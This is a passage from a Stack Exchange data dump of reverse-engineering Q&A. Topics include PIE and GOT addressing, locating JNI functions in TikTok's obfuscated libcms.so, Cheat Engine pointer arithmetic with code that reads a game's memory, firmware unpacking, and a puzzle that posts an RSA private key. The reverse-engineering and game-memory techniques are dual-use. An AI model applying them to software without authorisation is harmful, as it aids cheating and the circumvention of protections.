calculated, so it just jumps there directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to this lazy resolution mechanism:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;programs can start running quickly even if the shared libraries have a lot of symbols&lt;/li&gt;&#xA;&lt;li&gt;we can replace functions on the fly by playing with the &lt;code&gt;LD_PRELOAD&lt;/code&gt; variable&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nowadays, &lt;a href=&quot;https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld&quot;&gt;position independent executables (PIE)&lt;/a&gt; are the default on distros such as Ubuntu 18.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much like shared libraries, these executables are compiled so that they can be placed at a random position in memory whenever they are executed, in order to make certain vulnerabilities harder to exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, it is not possible to hardcode absolute function and variable addresses anymore in that case. Executables must either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user instruction pointer relative addressing if those are available on the assembly language, e.g.:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ARMv8:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;B&lt;/code&gt; does 26-bit jumps, &lt;code&gt;B.cond&lt;/code&gt; 19-bit&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/28638981/howto-write-pc-relative-adressing-on-arm-asm/54480999#54480999&quot;&gt;&quot;LDR (literal)&quot;&lt;/a&gt; does 19-bit loads&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ADR&lt;/code&gt; calculates 21-bit relative addresses that other instructions can use&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;use the GOT / PLT otherwise&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12321" LastEditorUserId="26177" LastEditDate="2020-05-20T07:32:25.517" LastActivityDate="2020-05-20T07:32:25.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20217" PostTypeId="1" AcceptedAnswerId="20222" CreationDate="2018-12-28T17:17:40.393" Score="3" ViewCount="3864" Body="&lt;p&gt;So i googled this but other than some papers i couldnt find any reverse engineering tool that was built using machine learning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not an expert in machine learning and deep learning but it seems rational to think that considering we have billions of open source codes out there, we can use them so our &quot;machine&quot; can learn how the assembly and executable of these codes look like and just study on them, mastering the art of reversing, and therefore building a tool this way that can reverse any given program with a great accuracy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now is this doable or am i missing something here? is there any tool built this way or on its way to coming out? what are your thoughts on this? is better reversing tool even needed or is there  already a great reversing tool that can do the job with the best accuracy possible? &lt;/p&gt;&#xA;" OwnerUserId="25864" LastActivityDate="2019-04-10T14:17:44.233" Title="Can Machine Learning be used to develop better reverse engineering tools?" Tags="|disassembly|tools|disassemblers|machine-code|" AnswerCount="2" CommentCount="1" ClosedDate="2019-01-04T13:01:55.280" ContentLicense="CC BY-SA 4.0" />
  <row Id="20218" PostTypeId="2" ParentId="19734" CreationDate="2018-12-28T18:11:13.527" Score="3" Body="&lt;p&gt;I just came across the same problem. I found the source DCN file in C:\Windows\WinSxS\Backup and using the mentioned &lt;a href=&quot;https://github.com/hfiref0x/SXSEXP&quot; rel=&quot;nofollow noreferrer&quot;&gt;tool&lt;/a&gt; I was able to get a dll. Afterwards I used the /d option with the DCD to get the changed dll.&lt;/p&gt;&#xA;" OwnerUserId="26888" LastActivityDate="2018-12-28T18:11:13.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20219" PostTypeId="1" AcceptedAnswerId="20235" CreationDate="2018-12-28T21:11:40.220" Score="1" ViewCount="1092" Body="&lt;p&gt;I am going to start by saying that this is my fourth attempt at reverse engineering a crackme and I'm starting to understand how assembly works, which is cool. I am sorry if this question is wrong or if I used the wrong terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am reversing a mach-0 binary with IDA. When I examine it, I find that there are hundreds of functions with weird names, like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;j___ZNSt3__1plIcNS_11char_traitsIcEENS_9allocatorIcEEEENS_12basic_stringIT_T0_T1_EEPKS6_RKS9_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this doesn't look like pure junk. From it I can 'extract' the following: char_traits, allocator, basic_string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently it does something with strings, as before there are the following instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rsi, goodWork ; &quot;Good work!&quot;&#xA;lea rdx, _cido ; _cido in IDA is shown to do -&amp;gt; and [rax], eax ; I have no idea what that means&#xA;lea rdi, [rbp+var] ; the only occurrence of var before is at the start -&amp;gt; var = qword ptr - 1C0H ; as always, no idea of what is this&#xA;call to_the_function_I_wrote_before&#xA;jmp $+5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a technique/way of knowing whatever this function does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been flagged as a duplicate. It's not. The question you've linked only demangles the function name, which is a thing that IDA automatically does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to understand whatever the hell this function does. The demangled function name is to me as helpful as the mangled one. I don't get it. I need a bit of guidance with that.&lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2018-12-29T14:47:12.610" LastActivityDate="2018-12-30T11:14:38.637" Title="How do I interpret the mangled functions name?" Tags="|binary-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20220" PostTypeId="1" AcceptedAnswerId="20227" CreationDate="2018-12-29T01:09:53.537" Score="5" ViewCount="2054" Body="&lt;p&gt;Im currently reverse engineering an android app and this app calls a function named &quot;getUserInfo&quot; in an &lt;strong&gt;ARM 32bit ELF library&lt;/strong&gt; called &lt;a href=&quot;https://download1494.mediafire.com/3p93kb4d39mg/6uutljplmxnsxvn/libcms.so&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;libcms.so&quot;&lt;/a&gt; (from TikTok) via the &lt;a href=&quot;https://www.baeldung.com/jni&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java Native Interface&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Problem is: The function cant be found with &lt;code&gt;readelf --syms libcms.so&lt;/code&gt; or &lt;code&gt;readelf --dyn-syms libcms.so&lt;/code&gt; because libcms.so is stripped and the funtion is not contained in the symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app can call this function, so i know the function is there. How can i find the hex location of the function?&lt;/p&gt;&#xA;" OwnerUserId="26893" LastEditorUserId="245" LastEditDate="2019-12-02T15:12:14.507" LastActivityDate="2019-12-02T15:12:14.507" Title="Find function in a stripped dynamic ELF library" Tags="|android|arm|elf|java|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20222" PostTypeId="2" ParentId="20217" CreationDate="2018-12-29T15:15:37.637" Score="3" Body="&lt;p&gt;If you consider genetic algorithms as a type of machine learning, here’s an interesting post on using it to create an assembler from opcodes and disassembler:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://binary.ninja/2018/06/19/fast-track-to-assembler-writing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Fast Track To Assembler Writing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check Joxean Koret’s experience on using ML to match binaries to source code, including with machine learning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/presentation/d/1ifvugStGL7Qc8xSFeYXp2MGQ6jQGOOMSolBrJy8kCMY/mobilepresent&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/presentation/d/1ifvugStGL7Qc8xSFeYXp2MGQ6jQGOOMSolBrJy8kCMY/mobilepresent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joxeankoret/pigaios&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joxeankoret/pigaios&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-04-10T14:17:44.233" LastActivityDate="2019-04-10T14:17:44.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20226" PostTypeId="1" AcceptedAnswerId="20277" CreationDate="2018-12-29T19:44:39.703" Score="1" ViewCount="3594" Body="&lt;p&gt;What are the options to decompile ARM (iOS) to Objective-C using IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking into the REobjc module (&lt;a href=&quot;https://github.com/duo-labs/idapython&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/duo-labs/idapython&lt;/a&gt;), but it can only handle x64 code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other plugins that may decompile the ARM?&lt;/p&gt;&#xA;" OwnerUserId="25753" LastActivityDate="2019-01-04T00:29:48.867" Title="How to decompile ARM (iOS) to Objective-C using IDA?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20227" PostTypeId="2" ParentId="20220" CreationDate="2018-12-29T22:04:10.143" Score="9" Body="&lt;p&gt;There're two broad ways in which you can declare &lt;code&gt;JNI&lt;/code&gt; functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is the more obvious way in which the &lt;code&gt;JNI&lt;/code&gt; function has to follow a specific naming convention like &lt;code&gt;JNIEXPORT void JNICALL Java_com_app_foo_bar&lt;/code&gt;. You can easily identify such functions using &lt;code&gt;readelf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other not so obvious way is to use &lt;code&gt;RegisterNatives&lt;/code&gt;. Here your functions can have any signature and further they not need be exported from the shared library. Typically, you would call &lt;code&gt;RegisterNatives&lt;/code&gt; from &lt;code&gt;JNI_OnLoad&lt;/code&gt; to register the native functions to the Java Run-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your binary &lt;code&gt;libcms.so&lt;/code&gt;, it uses the second method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RegisterNatives&lt;/code&gt; has the following prototype&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jint RegisterNatives(JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint Methods);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you analyze the code of &lt;code&gt;JNI_OnLoad&lt;/code&gt; you will come across &lt;code&gt;RegisterNatives&lt;/code&gt; call like below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0vbAK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0vbAK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third argument points to an array of &lt;code&gt;JNINativeMethod&lt;/code&gt; structures which is declared as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;    char *name; &#xA;    char *signature;&#xA;    void *fnPtr;&#xA;} JNINativeMethod;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first member is a pointer to a null terminated string denoting the function name. However, in your case all the names and signatures are encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kyyh5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kyyh5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dkmEL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dkmEL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are decrypted at run-time by the &lt;code&gt;.datadiv_decodeXXXXXXXX&lt;/code&gt; family of functions. The &lt;code&gt;.init_array&lt;/code&gt; section contain pointers to these decryptor functions which implies they will be called at startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/02J4L.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/02J4L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that is not all. The binary also employs &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2221/what-is-a-control-flow-flattening-obfuscation-technique&quot;&gt;Control Flow Flattening&lt;/a&gt; Obfuscation throughout, hence the execution path may not be easily discernible as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SgpWR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgpWR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To analyze the binary you're better off resorting to dynamic analysis techniques using a tool such as &lt;a href=&quot;https://www.frida.re/&quot; rel=&quot;noreferrer&quot;&gt;Frida&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Read:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.android.com/training/articles/perf-jni#native-libraries&quot; rel=&quot;noreferrer&quot;&gt;https://developer.android.com/training/articles/perf-jni#native-libraries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19024/finding-registernatives-function-calls-in-jni-onloads-assembly-code&quot;&gt;Finding RegisterNatives function calls in JNI_OnLoad&amp;#39;s assembly code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13509961/which-method-eventually-calls-jni-onload&quot;&gt;https://stackoverflow.com/questions/13509961/which-method-eventually-calls-jni-onload&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/51811348/find-manually-registered-obfuscated-native-function-address&quot;&gt;https://stackoverflow.com/questions/51811348/find-manually-registered-obfuscated-native-function-address&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1010645/what-does-the-registernatives-method-do&quot;&gt;https://stackoverflow.com/questions/1010645/what-does-the-registernatives-method-do&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6285/how-to-recover-information-stored-in-ctors-section&quot;&gt;How to recover information stored in .ctors section?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-12-29T22:04:10.143" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20228" PostTypeId="1" CreationDate="2018-12-29T22:34:26.870" Score="4" ViewCount="174" Body="&lt;p&gt;Sorry for this stupid question. It's late here and I've been kinda stuck for a while over this so I hope someone here can answer this easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In CheatEngine, 028FA190+374 is pointing to 028F1788. When I type in 028FA190+374 in the calculator I get 28FA504. Can someone explain me why this is different?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/54OwI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/54OwI.jpg&quot; alt=&quot;Picture 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G5maB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5maB.jpg&quot; alt=&quot;Picture 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26901" LastActivityDate="2018-12-29T23:21:13.487" Title="Help with a pointer" Tags="|hex|hexadecimal|cheat-engine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20229" PostTypeId="2" ParentId="20228" CreationDate="2018-12-29T23:15:35.600" Score="4" Body="&lt;p&gt;It's different, because it isn't just &lt;code&gt;0x28FA190 + 0x374&lt;/code&gt;, but it's &lt;code&gt;*(0x28FA190 + 0x374)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x28FA190&lt;/code&gt; is a base address, probably of a structure, and &lt;code&gt;0x374&lt;/code&gt; is an offset, when you sum these values and dereference the result, you get value of a field that's &lt;code&gt;0x374&lt;/code&gt; bytes away from the beginning of this structure. This field seems to be a pointer, that's why it's value is also an address, but it could contain any value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct A&#xA;{&#xA;  char padding[0x374]; // occupy the first 0x374 bytes, so that myPointer's address is address of this structure + 0x374 (i.e. (DWORD)this + 0x374)&#xA;&#xA;  int* myPointer;&#xA;};&#xA;&#xA;A a;&#xA;&#xA;int valueOfMyPointer = **(int**)((DWORD)&amp;amp;a + 0x374); // valueOfMyPointer = *a.myPointer;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to explicitly cast &lt;code&gt;&amp;amp;a&lt;/code&gt; to &lt;code&gt;DWORD&lt;/code&gt; (aka &lt;code&gt;unsigned long&lt;/code&gt;), because of pointer arithmetic - if you would do &lt;code&gt;&amp;amp;a + 0x374&lt;/code&gt;, the result would actually be &lt;code&gt;(DWORD)&amp;amp;a + 0x374 * sizeof(a)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also write the entire expression from your screen as following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;uint32_t result = *(DWORD*)(*(DWORD*)((DWORD)GetModuleHandle(&quot;ac_client.exe&quot;) + 0x374) + 0x14);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25152" LastEditorUserId="25152" LastEditDate="2018-12-29T23:21:13.487" LastActivityDate="2018-12-29T23:21:13.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20230" PostTypeId="2" ParentId="20217" CreationDate="2018-12-30T02:19:12.103" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;we can use them so our &quot;machine&quot; can learn how the assembly and&#xA;  executable of these codes look like and just study on them, mastering&#xA;  the art of reversing, and therefore building a tool this way that can&#xA;  reverse any given program with a great accuracy&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a pipe dream for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Reliably differentiating between code and data in an executable binary is an undecidable problem. Data can be embedded in code, and the same sequence of bytes may be disassembled in different ways. Furthermore, code may be self-modifying. See &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science&quot;&gt;Why is disassembly not an exact science?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8328/soundness-of-arm-disassembly&quot;&gt;Soundness of ARM disassembly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Function start detection in stripped binaries is an undecidable problem.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://binary.ninja/2017/11/06/architecture-agnostic-function-detection-in-binaries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Architecture Agnostic Function Detection in Binaries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compilation is a lossy process, particularly when optimization takes place. Therefore decompilation cannot be fully automated and requires human decision making.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Certainly, full automatic decompilation of arbitrary machine-code&#xA;  programs is not possible, it is an undecidable problem like most&#xA;  problems of program transformation. So, from the point of view of&#xA;  theory no algorithm exists for  decompilation of all possible&#xA;  programs. However, this (obvious) answer has no practical importance —&#xA;  many problems are undecidable or NP-complete yet there exist&#xA;  algorithms giving precise or approximate solutions for practical&#xA;  important cases. Thus the challenges of decompilation are in&#xA;  identification of subclasses of low-level programs and developing&#xA;  methods and algorithms targeted for these particular classes. The&#xA;  methods may even ask a human expert for help at key points. [ 1 ]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Certainly, fully automated decompilation of arbitrary machine-code programs is not possible -- this problem is theoretically equivalent to the Halting Problem, an undecidable problem in Computer Science. What this means is that automatic (no expert intervention) decompilation cannot be achieved for all possible programs that are ever written. Further, even if a certain degree of success is achieved, the automatically generated program will probably lack meaningful variable and function names as these are not normally stored in an executable file (except when stored for debugging purposes). [ 2 ]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://softwareengineering.stackexchange.com/questions/229761/why-cant-native-machine-code-be-easily-decompiled&quot;&gt;Why can't native machine code be easily decompiled?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Machine learning - in this case, supervised learning - can simplistically be thought of  as using algorithms to construct models from data, and the constructed model is then used for prediction or classification. When we say that an algorithm is is learning from data, it means that an algorithm is building a mathematical model by optimizing a loss function for the given data. There is no mind, no thought, no thinking machine. Algorithms do not look at anything, nor do they study anything.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;1) &lt;a href=&quot;https://pdfs.semanticscholar.org/541d/cc3c558d8e53377886bc755f693d9fe2a582.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;C Decompilation: Is It Possible?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;http://www.program-transformation.org/Transform/DecompilationPossible&quot; rel=&quot;nofollow noreferrer&quot;&gt;Is Decompilation Possible?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-12-30T02:19:12.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20232" PostTypeId="1" CreationDate="2018-12-30T07:25:10.293" Score="2" ViewCount="489" Body="&lt;p&gt;I am working on firmware update file &lt;a href=&quot;https://zippisat.com/IsatPhone2Upgrade/prod-build-Isat2-V02.00.01-DFU.fp2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;prod-build-Isat2-V02.00.03-DFU.fp2&lt;/code&gt;&lt;/a&gt;.&#xA;I extracted it and I've got some bin files. I analyzed these binary files with binwalk:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;binwalk -E RDA-533.bin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The entropy of these bin files didn't give any information and when I opened these files with IDA, it didn't give subblocks and functions.&#xA;It seems these files are compressed or encrypted.&#xA;How can I analyze these bin files as efficiently as possible?&lt;/p&gt;&#xA;" OwnerUserId="25686" LastEditorUserId="245" LastEditDate="2022-01-18T07:47:16.940" LastActivityDate="2022-01-18T07:47:16.940" Title=".fpk firmware unpacking" Tags="|unpacking|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20233" PostTypeId="1" CreationDate="2018-12-30T09:27:51.963" Score="0" ViewCount="1586" Body="&lt;p&gt;I am playing a game in my university where you have different puzzles based on cryptography and now in a puzzle named 'rsa', we have 2 files: 'key', 'secret'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The task for this is to decrypt the secret message using the key, and of course I am suspecting some RSA encryption but I can't find anything to decrypt this and I think I might have not enough information. I don't really know. Anyway, here is the key:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;308204a40201000282010100b3b77eb538f617a8441cdcf1fb133c1e73156894f1e049402d5c3ca7c74b69c6a8e81913dcfaeaee3e46bee05934ed21c23adc989729c189bf791da75b596ef41a325938205399ec0ca3aceea90238f3589b5b8427f8bae78b801e65d00a4fdd4905bfc650a79d596034b3dc20fd894202a9f718799d742e7df5defde553e3ab8e952e0f3047f73fe1e1c8ca8a66536cf2f0746a0f607de6dba0a8e3570ef83c03420a919a950a5a007597bf2f5cac8d096f3cacb0ca228a73500dd2bd08451effb7ab00c07d92f22607a740a394506a085ab0fb5627a20e6fbf122a9ab369ee2fb61c983620d848a72b16047f265468369ac449e9b4f07361af8e1019df7d570203010001028201010099ee83a329a4efe27a64d6829571863ef687d1ca31dad0231e3730e4ec7915a2c92df3bce5bc2dd9de91ae106f983bbc7ca6fa27e0e22d19955d621ee4c997959192aa84be7b9d0d684e11636273bae004771d4df706bee070c64e431a8c9a978962593ebdfab375c8479bfee26b0753f90027db58df9a91efe5d7185583232f6edaba4d2c6c797ff177eed7e6ee6424adc3af8352e61134265522f0a1334761845231e6708b630caf0ca24a77f597b3ec2e038172017f66b1e76c1cd99d2b5a6a29faab9ba42a89ec44b1ff20ee606f9e7f9556bd9a74e5c1b83d87317f2008ca7790b4f0218292f484ca40a3c3d64c541634bbcc903f1c2cac5971a6f957f102818100bf54486569e2ff77a4fad4e97efd0048978b1d2d5e7b4221c3def2ad6ca0427af42bbf592cf2439048d90eff248810ebf6faf67851c4b1c7dd646f5372e6e9eb46360f737cedba2cc0b5a288ceefcf408e576e8352c990c2470a363085328b4a76732c39251a16ba7d37e0ac14bcec879081214bbdb543acecb31a7d3e670f8502818100f07662fee84a2e05e6997a28dfacbbc160417640cb285d223626b656e0e6c22309d5adef3888b38ad172017d467453ee53e831e2a877f7836aa1a5c19e7443142d5c1dcafc092a2f5c3951458ee0c9cfa153f8eefe22b94e51608e98bd5b3609a3c9f870f09e08c7830df749d96bf0eded633fb1318da083bf2a440fec48fa2b0281804764e4eaeadb28a6f5aa1f9ecda30ce309a1808eb86dd81c8f61773edd84e3a9cbc9334acc69ce6a5db49952fdc7c440b8d5a6f8f8d223e0c7ad3d996f0bd987d09845a5bb9d5dd66b469bd2df1d3f42009b81828176f38c7b43c53acfc92f8ee6aa4d7b396c05c52b0a99ccbca44ec2bb5a6419463e0875d39175b5fc7e2a9d02818042946500b38ca68597bdf32712179fbd014bded43dec252d6dd4f633c3fde0cf16d00562f14258841d4df5bf9c1c6588ddceb2d15158363e3aee1b192b2881d23a650112cd0a3495fc711a61aa17ef88ffe06252ba271f2be2385c034a9ad0b1869a4ba1e9ddb80c95eaee07929de28dde66d6a1d758a193190138eb37bf5515028181008d99f0f0beffa8fad237540ed70199de7c6d9324505174115e41031957ec2999017e8b1c7d5f9889a62fe78e1d532dc5ef41fa694e49aca5d52987d8f70f96413506e4714e11006dbcec3c318d6211de7f8548b4b37abedd2b2f96b367b0ebcfd0166c6582a660ce9f79b74ef83bb0bbc87604fdefc3b2bfcb1215b2f9ca1d35&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here is the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4c0605e901b09d75c5f5befe7438d7246f988531cc7a39a59f24b9488d47dfae9fc8beb5117f34a316f9380607bf239ba6eca84da47a12d720986a8a0100a7e9d7028d7e423557055b9e250f271d6436018c58e79a8f26bac10768776f06dc1786dd7428b3c445b8993e884630b36cb2d300fa5dc1fe0eba9e433062d9d8a58f33bf6f93aa37298a5703ccbf71c93adea447f018e9f75bb43dbc528cfc9bed865a9ba43f926071dabc89ccca2e000f1a966855cc9816e45c0113edb55a700198d346a90487b5ff1191994973eb1b5252b22c6410aa70ea4e9c3ebd468ef273d7cf9d15b5824244cd25f252886d1edfe2d6f2caa5d5e00fd84597e3de192db41b&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;No, I'm not sure, don't think that the message is encoded in hexa too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;found out that RSA KEY was actually coded in hexa and the RSA key is basically:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  